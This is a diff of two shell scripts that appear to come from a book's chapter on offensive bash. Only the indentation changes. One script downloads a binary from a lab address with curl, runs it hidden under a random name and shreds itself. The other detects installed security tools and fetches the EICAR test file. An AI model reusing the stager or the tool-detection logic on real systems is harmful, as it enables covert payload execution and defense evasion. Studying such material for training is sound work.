diff --git a/ch12/binary_name_rotation.sh b/ch12/binary_name_rotation.sh index f401443..43906c9 100644 --- a/ch12/binary_name_rotation.sh +++ b/ch12/binary_name_rotation.sh @@ -6,16 +6,16 @@ BIN_FILE="${RANDOM_BIN_NAMES[${RANDOMIZE}]}" FULL_BIN_PATH="${WORK_DIR}/${BIN_FILE}" self_remove(){ - shred -u -- "$(basename $0)" && rm -- "${FULL_BIN_PATH}" + shred -u -- "$(basename $0)" && rm -- "${FULL_BIN_PATH}" } if command -v curl 1> /dev/null; then - curl -s "http://172.16.10.1/system_sleep" -o "${FULL_BIN_PATH}" - if [[ -s "${FULL_BIN_PATH}" ]]; then - chmod +x "${FULL_BIN_PATH}" - export PATH="${WORK_DIR}:${PATH}" - nohup "${BIN_FILE}" &> /dev/null & - fi + curl -s "http://172.16.10.1/system_sleep" -o "${FULL_BIN_PATH}" + if [[ -s "${FULL_BIN_PATH}" ]]; then + chmod +x "${FULL_BIN_PATH}" + export PATH="${WORK_DIR}:${PATH}" + nohup "${BIN_FILE}" &> /dev/null & + fi fi trap self_remove EXIT diff --git a/ch12/exercise_solution.sh b/ch12/exercise_solution.sh index b694497..df3cabd 100644 --- a/ch12/exercise_solution.sh +++ b/ch12/exercise_solution.sh @@ -2,64 +2,66 @@ REPORT_NAME="security_tool_scanner-$(date +%d-%m-%y).txt" check(){ - local tool - local check_type - local indicator - local result + local tool + local check_type + local indicator + local result - tool="${1}" - check_type="${2}" - indicator="${3}" - result="false" + tool="${1}" + check_type="${2}" + indicator="${3}" + result="false" - case "${check_type}" in - file|directory) - if check_file_or_directory "${indicator}"; then - result="true" - fi - ;; - process) - if check_process "${indicator}"; then - result="true" - fi - ;; - esac + case "${check_type}" in + file|directory) + if check_file_or_directory "${indicator}"; then + result="true" + fi + ;; + process) + if check_process "${indicator}"; then + result="true" + fi + ;; + esac - if [[ "${result}" == "true" ]]; then - generate_report "${tool}" "${check_type}" "${indicator}" - fi + if [[ "${result}" == "true" ]]; then + generate_report "${tool}" "${check_type}" "${indicator}" + fi } check_process(){ - local process_name - process_name="${1}" + local process_name + process_name="${1}" - if pgrep "${process_name}"; then - return 0 - fi - return 1 + if pgrep "${process_name}"; then + return 0 + fi + + return 1 } check_file_or_directory(){ - local name - name="${1}" + local name + name="${1}" - if [[ -e "${name}" ]]; then - return 0 - fi - return 1 + if [[ -e "${name}" ]]; then + return 0 + fi + + return 1 } download_eicar_file(){ - wget -q "https://secure.eicar.org/eicar.com.txt" + wget -q "https://secure.eicar.org/eicar.com.txt" } generate_report(){ - if [[ ! -f "${REPORT_NAME}" ]]; then - echo "tool, check_type, indicator" > "${REPORT_NAME}" - fi + if [[ ! -f "${REPORT_NAME}" ]]; then + echo "tool, check_type, indicator" > "${REPORT_NAME}" + fi - echo "${1}, ${2}, ${3}" >> "${REPORT_NAME}" + echo "${1}, ${2}, ${3}" >> "${REPORT_NAME}" } @@ -79,5 +81,5 @@ check fluentbit directory /etc/fluent-bit check rkhunter file /etc/rkhunter if [[ -f "${REPORT_NAME}" ]]; then - download_eicar_file + download_eicar_file fi \ No newline at end of file